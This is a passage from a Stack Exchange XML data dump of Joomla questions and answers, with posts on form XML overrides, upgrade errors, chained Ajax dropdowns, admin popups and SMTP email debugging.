Ji Migrator, see: &lt;a href=&quot;http://www.jinfinity.com/our-extensions/migrator-for-joomla&quot; rel=&quot;nofollow&quot;&gt;http://www.jinfinity.com/our-extensions/migrator-for-joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-02-28T01:41:51.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15429" PostTypeId="2" ParentId="15417" CreationDate="2016-02-28T07:09:03.167" Score="4" Body="&lt;p&gt;The External URL menu item also has an XML file (like all backend forms in Joomla). You can find it inside:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;administrator/components/com_menus/models/forms/item_url.xml&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So inside this file (or the corresponding override for it), you could add something like (within the &lt;code&gt;&amp;lt;fields&amp;gt; &amp;lt;/fields&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;custom&amp;quot; label=&amp;quot;custom&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;menu_custom&amp;quot; type=&amp;quot;text&amp;quot;&#xA;        label=&amp;quot;Custom&amp;quot;&#xA;        description=&amp;quot;Custom&amp;quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in order to have your custom tab for your custom fields in the backend.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;To create overrides for model form XML files read here: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4217/overriding-core-components-model-form-xml/4218#4218&quot;&gt;Overriding Core Components Model Form XML&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-05-05T09:36:35.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15431" PostTypeId="2" ParentId="15415" CreationDate="2016-02-28T09:43:29.297" Score="1" Body="&lt;p&gt;I was able to finally fix this, not sure exactly how, but it may have been related to prepending an element in the DOM with jQuery after the page loading and somehow messing up the z-index ?&lt;/p&gt;&#xA;" OwnerUserId="7868" LastActivityDate="2016-02-28T09:43:29.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15432" PostTypeId="2" ParentId="15427" CreationDate="2016-02-28T14:46:54.243" Score="3" Body="&lt;p&gt;The cause of my initial error messages was the failure to disable all the appropriate extensions before upgrating, namely the JA T3 Framework and both pieces of the jDownloads component. The way to get around this is to rename the directories listed in the error message -- the directories that represent these failing components after upgrade. Apparently Joomla is smart enough not to try to run code that it can't find. However, if the error was encountered in the middle of an upgrade, then the database schema still hasn't been upgraded because the failing components caused the upgrade process to stop before it's complete. A simple refresh of the finalize step page after correcting the component errors will allow the upgrade to complete, resolving the database schema-based errors, however, that requires that you remember the URL for that finalize step page, which I have lost at this point. I learned all this by re-attempting the upgrade and paying more attention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since the upgrade process still didn't allow me to keep my jDownloads data (could not find a version of jDownloads that would accept the fact that my table was still named &lt;code&gt;jdownloads_cats&lt;/code&gt; instead of &lt;code&gt;jdownloads_categories&lt;/code&gt;), I am re-implementing as a new installation and just manually re-entering everything with much help from copy/paste functions. Hopefully next time I leave the site unattended for a couple years, the upgrade process will be smoother. Joomla seems pretty smart about some things, but it's quite a complex system and with all the third party pieces, something's bound to go wrong I guess. I was impressed and pleased that simply renaming the directory of a failing component was a step in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="7884" LastActivityDate="2016-02-28T14:46:54.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15433" PostTypeId="1" AcceptedAnswerId="15434" CreationDate="2016-02-28T20:22:10.570" Score="4" ViewCount="103" Body="&lt;p&gt;I'm working on a current-version site that was original built with J!1.5.x (or even 1.0.x). There are many extensions with dates in the 2004-2007 range. I'm wondering if they're obsolete and can be removed for space savings and security. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/milYq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/milYq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach would be to disable them first, and later delete them if no harm seems to have come. I'd appreciate a more definitive answer regarding stagnant dates and version numbers, though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm mistaken here, how would I identify extensions that were included in the 1.x.x package, but are no longer used? Is there any reason to assume that old extensions were removed by jUpdate or Joomla Update processes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my custom extensions get date updates with version updates. Why would the J! team not do the same?&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="2324" LastEditDate="2016-02-28T20:27:11.820" LastActivityDate="2016-02-28T20:32:20.857" Title="Are core extensions with old dates or version 3.0.0 obsolete?" Tags="|extensions|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15434" PostTypeId="2" ParentId="15433" CreationDate="2016-02-28T20:23:55.543" Score="3" Body="&lt;p&gt;They are not obsolete at all ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All core extensions gets updated when needed. The date you're seeing is when they were first created, not updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So only delete/unpublish them if you don't require them on your site.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The date you're seeing on that page &lt;strong&gt;should&lt;/strong&gt; show the creation date:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo @$item-&amp;gt;creationDate != '' ? $item-&amp;gt;creationDate : '&amp;amp;#160;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will pull the creation date defined in the extension's XML file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 3rd party developers decide to change the creation date for every update, that's their choice.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-02-28T20:32:20.857" LastActivityDate="2016-02-28T20:32:20.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15435" PostTypeId="1" CreationDate="2016-02-29T04:17:32.177" Score="1" ViewCount="145" Body="&lt;p&gt;Joomla 3.4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a fairly simple category hierarchy of meeting minutes:&#xA;- Minutes&#xA;- 2016 Minutes&#xA;- 2015 Minutes&#xA;- 2014 Minutes&#xA;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Minutes are each articles with the appropriate (sub)category assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a menu item Category List with category Minutes to display these. It shows a list of subcategories as links to the subcategory list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that for some subcategories, the subcategory list displays a list of articles which you can click on to read the article (which is fine). For others, it displays the full article text of the first 5 articles, followed by links to the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked carefully at how the parameters are set up, both in the catgegories and in the articles, and I see no differences. I've looked at the #__content database entries also, and I don't see anything different that looks relevant. I tried looking at com_content to see how it decides, but I couldn't navigate through it.&lt;/p&gt;&#xA;" OwnerUserId="7887" LastActivityDate="2016-03-05T20:20:32.683" Title="Displaying articles in categories" Tags="|category|featured-articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15436" PostTypeId="1" CreationDate="2016-02-29T05:40:33.933" Score="0" ViewCount="484" Body="&lt;p&gt;I want to add a popup and a trigger for that popup in com_users( i.e Users page) and load a external link into that popup. I have added a button next to the &quot;Add a note&quot; button but i am new to joomla so i don't know how to add popup functionality to it. I have read that it is not recommended to change the core files in Joomla, is this also a core file ? What is the best way to do it. &lt;/p&gt;&#xA;" OwnerUserId="7888" LastActivityDate="2016-02-29T10:45:19.760" Title="Adding a popup to com_users in joomla" Tags="|administrator|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15437" PostTypeId="1" CreationDate="2016-02-29T08:39:13.573" Score="1" ViewCount="126" Body="&lt;p&gt;I'm working for FE component with form to make ability to user set some values to filter data from DB (ex: select, text). After user make submit these fields need to show values user have selected before submit.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created custom fields and form XML files. I realized that custom fields in same JForm that extends JFormField remains with same name that is set in myfield.php but custom fields that extends JFormFieldList become with jform array part (ex. jform[myfield]) and so they appear in the POST as part of jfrom array.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It there some workaround to make same naming (with or w/o jform) for all custom fields (JFormField, JFormFieldList, ...) and read them all using JInput as single fields or as part of array?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="3650" LastEditDate="2016-03-03T19:42:11.660" LastActivityDate="2018-09-10T10:01:25.620" Title="Joomla 3.4 custom fields names strange behavior in JForm" Tags="|joomla-3.4|jform|custom-field|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15438" PostTypeId="1" AcceptedAnswerId="16664" CreationDate="2016-02-29T08:50:53.660" Score="1" ViewCount="120" Body="&lt;p&gt;I have troubles with my administrator login on Joomla 1.0.&#xA;Of course it's a old version but i want to try to upgrade but i can't login anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know my user is valid, because i made all the workarounds to reset the password or to insert a new user in table &lt;code&gt;jos_users&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This what I've tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Archived:Administration_FAQs_Version_1.0#How_do_I_recover_my_admin_password.3F&quot; rel=&quot;nofollow&quot;&gt;Official Joomla Page - Reset Password&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.siteground.com/kb/how_to_reset_my_joomla_administrator_password/&quot; rel=&quot;nofollow&quot;&gt;How to reset my Joomla administrator password?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nothing work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I login &lt;code&gt;www.myjoomla-instance.xyz/administrator/index.php&lt;/code&gt;,&#xA;I receive a nearly blank page where is only written --&gt; &lt;strong&gt;&lt;code&gt;here&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this mean ?&#xA;I've also seen there are 3 index-Files in the administrator-Folder: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/httpdocs/administrator/index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/httpdocs/administrator/index2.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/httpdocs/administrator/index3.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i solve my issue ?&lt;/p&gt;&#xA;" OwnerUserId="7890" LastEditorUserId="168" LastEditDate="2016-02-29T09:03:09.537" LastActivityDate="2016-05-25T11:53:58.113" Title="Can not login on Joomla administration area" Tags="|login|joomla1.0|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15439" PostTypeId="2" ParentId="12246" CreationDate="2016-02-29T09:32:30.427" Score="2" Body="&lt;p&gt;Download, install and enable a plugin name &lt;a href=&quot;http://www.kksou.com/php-gtk2/joomla/directphp-plugin.php#install&quot; rel=&quot;nofollow noreferrer&quot;&gt;DirectPHP&lt;/a&gt;. This plugin gives the facility to write PHP code in article. After these in your article write following code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;   jimport( 'joomla.user.helper' ); &#xA;   $user = JFactory::getUser();&#xA;   echo $user-&amp;gt;username;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5551" LastEditorUserId="12352" LastEditDate="2021-02-01T22:05:12.847" LastActivityDate="2021-02-01T22:05:12.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15440" PostTypeId="2" ParentId="15436" CreationDate="2016-02-29T10:45:19.760" Score="3" Body="&lt;p&gt;To avoid core file modification, you can introduce views overrides in the same way than front-end views. The /administrator area has its own /administrator/templates. Then, you can add view overrides in /administrator/templates/html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;Understanding Output Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About popups, you can implement any general popup routine. If you want to follow the Joomla-way to generate popup, this is a sample code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JHtml::_('bootstrap.modal');&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?&amp;gt;&#xA;&amp;lt;ul class=&quot;nav&quot;&amp;gt;&#xA;    &amp;lt;li class=&quot;divider&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a  onclick=&quot;return false;&quot;&#xA;            title=&quot;&amp;lt;?php echo JText::_('MOD_EXTENSION_MENU_BUTTON'); ?&amp;gt;&quot;&#xA;            href=&quot;#myextension_menu_modal&quot;&#xA;            role=&quot;button&quot;&#xA;            data-toggle=&quot;modal&quot;&#xA;            class=&quot;btn btn-small btn-primary visible-desktop visible-tablet&quot;&amp;gt;&#xA;&#xA;            &amp;lt;img src=&quot;../media/com_myextension/images/myextension-icon.png&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('MOD_EXTENSION_MENU_BUTTON'); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;addScriptDeclaration(&quot;&#xA;    // Joocial menu&#xA;    if (!window.xtModalClose) {&#xA;        window.xtModalClose = function() {&#xA;                jQuery('div.modal').modal('hide');&#xA;        };&#xA;    };&#xA;    &quot;);&#xA;&#xA;    $modal_dialog = JHtmlBootstrap::renderModal(&#xA;                'myextension_menu_modal',&#xA;                array(&#xA;                    'url' =&amp;gt; $link,&#xA;                    'title' =&amp;gt; JText::_('MOD_EXTENSION_MENU_BUTTON'),&#xA;                    'height' =&amp;gt; '400px',&#xA;                    'width' =&amp;gt; '500px',&#xA;                    'class' =&amp;gt; 'myextension_menu_modal'&#xA;                )&#xA;        );&#xA;    echo $modal_dialog;&#xA;&#xA;    $document-&amp;gt;addScriptDeclaration(&quot;&#xA;    jQuery(window).ready(function() {&#xA;        jQuery('#myextension_menu_modal').appendTo(\&quot;body\&quot;);&#xA;    });&#xA;    &quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-02-29T10:45:19.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15441" PostTypeId="1" AcceptedAnswerId="15442" CreationDate="2016-02-29T12:19:37.713" Score="0" ViewCount="1177" Body="&lt;p&gt;Hi i have three dropdown,&#xA;The first one populating value from database, Second and third will get their values by ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the problem is at first loading of the page when i'm selecting the first dropdown the second dropdown change from please select and showing its value but third one is not showing and stay on &quot;please select...&quot; &lt;strong&gt;UNLESS&lt;/strong&gt; i'm changing the value of second dropdown to anyother value and then values of third dropdown will appearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(function($){&#xA;$(document).ready(function() {&#xA;var Floor_id = 'Floor';&#xA;var Building_id = 'Building';&#xA;var Unit_id = 'Unit';&#xA;var initial_Floor_html = '&amp;lt;option value=&quot;&quot;&amp;gt;Please select...&amp;lt;/option&amp;gt;';&#xA;var initial_Unit_html = '&amp;lt;option value=&quot;&quot;&amp;gt;Please select...&amp;lt;/option&amp;gt;';&#xA;$('#'+Floor_id).html(initial_Floor_html);&#xA;$('#'+Unit_id).html(initial_Unit_html);&#xA;&#xA;$('#'+Building_id).change(function(e) {&#xA;var selectfvalue = $(this).val();&#xA;&#xA;//Display 'loading' status in the target select list&#xA;$('#'+Floor_id).html('&amp;lt;option value=&quot;&quot;&amp;gt;Loading...&amp;lt;/option&amp;gt;');&#xA;&#xA;if (selectfvalue == &quot;&quot;) {&#xA;&#xA;   $('#'+Floor_id).html(initial_Floor_html);&#xA;} else {&#xA;  //Make AJAX request, using the selected value as the GET&#xA;  $.ajax({&#xA;          url: 'index.php',&#xA;          data:'option=com_parkingreservation&amp;amp;task=getFloorsHTML&amp;amp;fvalue='+selectfvalue,&#xA;         success: function(output) {&#xA;            //alert(output);&#xA;            $('#'+Floor_id).html(output);&#xA;        },&#xA;      error: function (xhr, ajaxOptions, thrownError) {&#xA;        alert(xhr.status + &quot; &quot;+ thrownError);&#xA;      }});&#xA;    }&#xA;});&#xA;&#xA; $('#'+Floor_id).change(function(e) {&#xA;var selectuvalue = $(this).val();&#xA;&#xA;//Display 'loading' status in the target select list&#xA;$('#'+Unit_id).html('&amp;lt;option value=&quot;&quot;&amp;gt;Loading...&amp;lt;/option&amp;gt;');&#xA;&#xA;if (selectuvalue == &quot;&quot;) {&#xA;&#xA;   $('#'+Unit_id).html(initial_Unit_html);&#xA;} else {&#xA;  //Make AJAX request, using the selected value as the GET&#xA;  $.ajax({&#xA;          url: 'index.php',&#xA;          data:'option=com_parkingreservation&amp;amp;task=getUnitsHTML&amp;amp;uvalue='+selectuvalue,&#xA;         success: function(output) {&#xA;            //alert(output);&#xA;            $('#'+Unit_id).html(output);&#xA;        },&#xA;      error: function (xhr, ajaxOptions, thrownError) {&#xA;        alert(xhr.status + &quot; &quot;+ thrownError);&#xA;      }});&#xA;    }&#xA;});&#xA; });&#xA; });&#xA; &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for ajax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;}&#xA;public function getFloorsHTML() {&#xA;&#xA;     $db = JFactory::getDbo();&#xA;     $query = $db-&amp;gt;getQuery(true);&#xA;     $myfloors = JRequest::getVar ('fvalue');&#xA;     $query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'floor_name')));&#xA;     $query-&amp;gt;from($db-&amp;gt;quoteName('#__pk_floors'));&#xA;     $query-&amp;gt;where($db-&amp;gt;quoteName('building').&quot; = &quot;.$db-&amp;gt;quote($myfloors));&#xA;     $db-&amp;gt;setQuery($query);&#xA;     $results = $db-&amp;gt;loadObjectList();&#xA;     foreach ($results as $result) &#xA;     {&#xA;       echo '&amp;lt;option value=&quot;' . $result-&amp;gt;id . '&quot; &amp;gt; ' . $result-&amp;gt;floor_name.'&amp;lt;/option&amp;gt;'; &#xA;      }&#xA;    exit; &#xA;}&#xA;public function getUnitsHTML() {&#xA;&#xA;     $db = JFactory::getDbo();&#xA;     $query = $db-&amp;gt;getQuery(true);&#xA;     $myunits = JRequest::getVar ('uvalue');&#xA;     $query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'unit_number')));&#xA;     $query-&amp;gt;from($db-&amp;gt;quoteName('#__pk_units'));&#xA;     $query-&amp;gt;where($db-&amp;gt;quoteName('floor').&quot; = &quot;.$db-&amp;gt;quote($myunits));&#xA;     $db-&amp;gt;setQuery($query);&#xA;     $results = $db-&amp;gt;loadObjectList();&#xA;     foreach ($results as $result) &#xA;     {&#xA;       echo '&amp;lt;option value=&quot;' . $result-&amp;gt;id . '&quot; &amp;gt; ' . $result-&amp;gt;unit_number.'&amp;lt;/option&amp;gt;'; &#xA;      }&#xA;    exit; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7855" LastActivityDate="2016-02-29T14:47:22.233" Title="jQuery Ajax for three drop down" Tags="|joomla-3.x|joomla-3.4|javascript|jquery|ajax|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15442" PostTypeId="2" ParentId="15441" CreationDate="2016-02-29T12:43:30.117" Score="1" Body="&lt;p&gt;I think I know the issue here. The &lt;code&gt;.change()&lt;/code&gt; function is not being executed because the content is being change dynamically, therefore you need event delegation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your 2nd event, try replacing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#'+Floor_id).change(function(e) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).on('change', '#'+Floor_id, function(e) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Update 1:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I created a JSFiddle to replicate what you were doing and instead, changed your second event to a function instead, which gets called if the first Ajax request comes back as a success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please try replacing &lt;strong&gt;ALL&lt;/strong&gt; your code with this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&#xA;    var Floor_id    = $('#Floor');&#xA;    var Building_id = $('#Building');&#xA;    var Unit_id     = $('#Unit');&#xA;    var initial_Floor_html = '&amp;lt;option value=&quot;&quot;&amp;gt;Please select...&amp;lt;/option&amp;gt;';&#xA;    var initial_Unit_html  = '&amp;lt;option value=&quot;&quot;&amp;gt;Please select...&amp;lt;/option&amp;gt;';&#xA;&#xA;    Floor_id.html(initial_Floor_html);&#xA;    Unit_id.html(initial_Unit_html);&#xA;&#xA;    Building_id.on('change', function(e) {&#xA;&#xA;        var selectvalue = $(this).val();&#xA;&#xA;        //Display 'loading' status in the target select list&#xA;        Floor_id.html('&amp;lt;option value=&quot;&quot;&amp;gt;Loading...&amp;lt;/option&amp;gt;');&#xA;&#xA;        if (selectvalue == '') &#xA;        {&#xA;            Floor_id.html(initial_Floor_html);&#xA;        } &#xA;        else &#xA;        {&#xA;            //Make AJAX request, using the selected value as the GET&#xA;            $.ajax({&#xA;                url: 'index.php',&#xA;                data:'option=com_parkingreservation&amp;amp;task=getFloorsHTML&amp;amp;fvalue='+selectvalue,&#xA;                success: function(output) {&#xA;                    Floor_id.html(output);&#xA;                    updateSelect(Floor_id.val());&#xA;                },&#xA;                error: function (xhr, ajaxOptions, thrownError) {&#xA;                    alert(xhr.status +  ' ' + thrownError);&#xA;                }&#xA;            });&#xA;        }&#xA;    });&#xA;&#xA;    Floor_id.on('change', function(e) {&#xA;        updateSelect($(this).val());&#xA;    });&#xA;&#xA;    function updateSelect(selectvalue) &#xA;    {&#xA;        //Display 'loading' status in the target select list&#xA;        Unit_id.html('&amp;lt;option value=&quot;&quot;&amp;gt;Loading...&amp;lt;/option&amp;gt;');&#xA;&#xA;        if (selectvalue == '') &#xA;        {&#xA;            Unit_id.html(initial_Unit_html);&#xA;        } &#xA;        else &#xA;        {&#xA;            //Make AJAX request, using the selected value as the GET&#xA;            $.ajax({&#xA;                url: 'index.php',&#xA;                data:'option=com_parkingreservation&amp;amp;task=getUnitsHTML&amp;amp;uvalue='+selectvalue,&#xA;                success: function(output) {&#xA;                    Unit_id.html(output);&#xA;                },&#xA;                error: function (xhr, ajaxOptions, thrownError) {&#xA;                    alert(xhr.status + ' ' + thrownError);&#xA;                }&#xA;            });&#xA;        }&#xA;    }&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've made some other small improvements along the way too&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-02-29T14:47:22.233" LastActivityDate="2016-02-29T14:47:22.233" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="15443" PostTypeId="1" AcceptedAnswerId="15517" CreationDate="2016-02-29T13:29:01.277" Score="0" ViewCount="340" Body="&lt;p&gt;The website in question is &lt;a href=&quot;http://www.grip.org.za/joomla/&quot; rel=&quot;nofollow&quot;&gt;www.grip.org.za/joomla/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that whenever I load one of the pages on the menu, the whole website moves to the right a bit, then back to the center/default location.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template was built in Themeler, and is running Joomla 3.4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any ideas on what the problem could be, it would be much appreciated. &lt;/p&gt;&#xA;" OwnerUserId="5441" LastEditorUserId="3650" LastEditDate="2016-03-03T19:40:34.330" LastActivityDate="2016-03-04T08:47:52.713" Title="Page Jumping on Load" Tags="|joomla-3.x|javascript|css|debug|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15444" PostTypeId="1" CreationDate="2016-02-29T14:06:06.723" Score="4" ViewCount="1307" Body="&lt;p&gt;I think I need a way to debug in more detail how Joomla is trying to send SMTP email because I can't get any of its email mechanisms working, but I feel like SMTP is the one most likely to work since I've gotten SMTP email working on the same host with other test code. The error I am receiving when trying to send a private message from the primary super user account to another super user account using Components -&gt; Messaging -&gt; New Private Message is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice&#xA;SMTP Error: data not accepted.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My SMTP settings in the global configuration are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Send Mail: Yes&#xA;Mailer: SMTP&#xA;From email: bluemonkmn@sgdk2.enigmadream.com&#xA;From name: Benjamin Marty&#xA;Disable Mass Mail: No&#xA;SMTP Authentication: Yes&#xA;SMTP Security: None&#xA;SMTP Port: 25&#xA;SMTP Username: bluemonkmn@sgdk2.enigmadream.com&#xA;SMTP Password: (same password I used in the script below)&#xA;SMTP Host: mail.sgdk2.enigmadream.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the failure occurred, I decided to try a test using PHPMailer from &lt;a href=&quot;https://github.com/PHPMailer/PHPMailer&quot;&gt;https://github.com/PHPMailer/PHPMailer&lt;/a&gt; and the following script recommended by Dreamhost at &lt;a href=&quot;http://wiki.dreamhost.com/PHPMailer&quot;&gt;http://wiki.dreamhost.com/PHPMailer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA;* This example shows making an SMTP connection with authentication.&#xA;*/&#xA;&#xA;//SMTP needs accurate times, and the PHP timezone MUST be set&#xA;//This should be done in your php.ini, but this is how to do it if you don't have access to that&#xA;date_default_timezone_set('Etc/UTC');&#xA;&#xA;require 'PHPMailerAutoload.php';&#xA;//Create a new PHPMailer instance&#xA;$mail = new PHPMailer;&#xA;&#xA;//Tell PHPMailer to use SMTP&#xA;$mail-&amp;gt;isSMTP();&#xA;//Enable SMTP debugging&#xA;// 0 = off (for production use)&#xA;// 1 = client messages&#xA;// 2 = client and server messages&#xA;$mail-&amp;gt;SMTPDebug = 2;&#xA;//Ask for HTML-friendly debug output&#xA;$mail-&amp;gt;Debugoutput = 'html';&#xA;&#xA;//Set the hostname of the mail server&#xA;$mail-&amp;gt;Host = &quot;mail.sgdk2.enigmadream.com&quot;;&#xA;//Set the SMTP port number - likely to be 25, 465 or 587&#xA;$mail-&amp;gt;Port = 25;&#xA;//Whether to use SMTP authentication&#xA;$mail-&amp;gt;SMTPAuth = true;&#xA;//Username to use for SMTP authentication&#xA;$mail-&amp;gt;Username = &quot;bluemonkmn@sgdk2.enigmadream.com&quot;;&#xA;//Password to use for SMTP authentication&#xA;$mail-&amp;gt;Password = &quot;See Comment&quot;; // I used the same password configured above&#xA;//Set who the message is to be sent from&#xA;$mail-&amp;gt;setFrom('bluemonkmn@sgdk2.enigmadream.com', 'Benjamin Marty');&#xA;//Set an alternative reply-to address&#xA;$mail-&amp;gt;addReplyTo('bluemonkmn@sgdk2.enigmadream.com', 'Benjamin Marty');&#xA;//Set who the message is to be sent to&#xA;$mail-&amp;gt;addAddress('bluemonkmn@outlook.com', 'Ben Marty');&#xA;&#xA;//Set the subject line&#xA;$mail-&amp;gt;Subject = 'PHPMailer SMTP test';&#xA;//if you want to include text in the body. &#xA;$mail-&amp;gt;Body    = &quot;This is a test of email&quot;;&#xA;&#xA;//send the message, check for errors&#xA;if (!$mail-&amp;gt;send()) {&#xA;   echo &quot;Mailer Error: &quot; . $mail-&amp;gt;ErrorInfo;&#xA;} else {&#xA;   echo &quot;Message sent!&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The PHP script was installed in a sub-directory of where I have Joomla installed, and it works just fine. But Joomla doesn't. How do I narrow down the problem?&lt;/p&gt;&#xA;" OwnerUserId="7884" LastActivityDate="2016-02-29T15:18:07.637" Title="SMTP email failing via Joomla, succeeding outside of Joomla" 